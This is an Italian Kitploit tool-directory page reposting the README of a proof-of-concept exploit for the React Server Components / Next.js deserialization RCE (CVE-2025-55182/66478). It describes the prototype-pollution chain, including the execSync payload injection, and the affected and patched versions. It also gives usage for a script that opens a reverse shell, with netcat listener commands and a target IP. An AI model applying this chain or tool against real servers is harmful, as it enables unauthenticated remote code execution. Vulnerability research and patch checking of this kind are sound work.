Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/jotaespig/cve-2025-66478-poc-reverse-shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubjotaespig/cve-2025-66478-poc-reverse-shell

CVE-2025-66478-PoC-Reverse-Shell

Proof-of-concept exploit per CVE-2025-55182/66478, una deserializzazione RCE dei React Server Components, che consegna una reverse shell tramite una richiesta multipart appositamente costruita.

Vedi Repository
19h 3m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-66478 / CVE-2025-55182 ("React2Shell") — PoC di RCE tramite deserializzazione delle Server Actions RSC

Proof-of-concept per CVE-2025-55182 — soprannominata pubblicamente "React2Shell" — una vulnerabilità di prototype pollution lato server nella deserializzazione delle Server Actions dei React Server Components (react-server-dom-webpack / -parcel / -turbopack), che Next.js ha tracciato con l'ID CVE-2025-66478 (respinta da NVD come duplicato, ma comunque l'identificatore comunemente usato quando si discute dell'impatto del bug specificamente su Next.js).

Una singola richiesta HTTP multipart appositamente costruita inquina Object.prototype e percorre la catena dei prototipi per raggiungere il costruttore Function, consentendo a un attaccante non autenticato di eseguire codice Node.js arbitrario nel processo del server — CVSS 10/10.

Dettagli della vulnerabilità

Causa principale. Il deserializzatore delle risposte alle azioni RSC (requireModule) risolve i percorsi degli oggetti inviati dal client (es. "$1:__proto__:then") senza verificare che la chiave di destinazione non sia una chiave riservata/pericolosa come __proto__. Impostare __proto__ su un oggetto semplice inquina Object.prototype stesso, quindi ogni oggetto creato successivamente eredita la proprietà controllata dall'attaccante.

Catena di sfruttamento.

  1. then → "$1:__proto__:then" — raggiunge la catena dei prototipi.
  2. _response._formData.get → "$1:constructor:constructor" — percorre dal prototipo inquinato fino al costruttore Function.
  3. _response._prefix — stringa controllata dall'attaccante, inserita nel codice che viene eseguito quando il server tenta di risolvere il fittizio "thenable" (un oggetto simile a una falsa Promise). Questo PoC la imposta a process.mainModule.require('child_process').execSync('<cmd>').
  4. Il payload viene inviato come due campi multipart (0, 1) in una POST alla root dell'app con un header Next-Action, che instrada la richiesta direttamente nel gestore vulnerabile delle Server Actions.

Versioni interessate (secondo il report di Datadog):

LibreriaVulnerabileCorretta
react-server-dom-parcel19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-webpack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1

Next.js è interessato nelle versioni 15.x, 16.x e 14.3.0-canary.77+ quando si utilizza l'App Router. Corretto in 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 e 16.0.7.

Disclaimer

Solo per test di sicurezza autorizzati e uso didattico (es. laboratori CTF/HTB, infrastruttura propria o incarichi con autorizzazione scritta). Non eseguirlo contro sistemi che non possiedi o per cui non hai il permesso esplicito di testare.

Requisiti

  • curl
  • bash
  • Un listener sulla macchina dell'attaccante (es. nc -lvnp <porta>) a meno che non si fornisca un comando personalizzato con -c
  • Il target deve eseguire busybox nc (o adattare -c a qualunque utility shell disponibile sul target) affinché il comando di reverse shell predefinito funzioni

Utilizzo

root@kitploit:~
chmod +x exploit.sh
./exploit.sh -t <target> -L <porta_locale> [opzioni]
FlagObbligatorioDescrizione
-t, --targetsìHost/IP del target che esegue l'app Next.js vulnerabile
-L, --lportsì*Porta locale a cui è associato il tuo listener
-p, --portnoPorta del target (predefinita: 3000)
-l, --lhostnoIl tuo IP per il callback (predefinito: rilevato automaticamente)
-i, --ifacenoInterfaccia da cui rilevare automaticamente --lhost
-c, --commandnoComando personalizzato da eseguire sul target (sostituisce la reverse shell predefinita)
--timeoutnoTimeout della richiesta curl in secondi (predefinito: 3)
-v, --verbosenoStampa i dettagli di richiesta/risposta
-h, --helpnoMostra l'aiuto

* non richiesto se si fornisce -c/--command in alternativa.

Esempio

root@kitploit:~
# 1) avvia un listener
rlwrap nc -lvnp 9090

# 2) attiva l'exploit
./exploit.sh -t 10.129.245.214 -L 9090

Riferimenti

  • CVE-2025-55182 "React2Shell": Remote Code Execution in React Server Components — Datadog Security Labs
Scarica lo strumento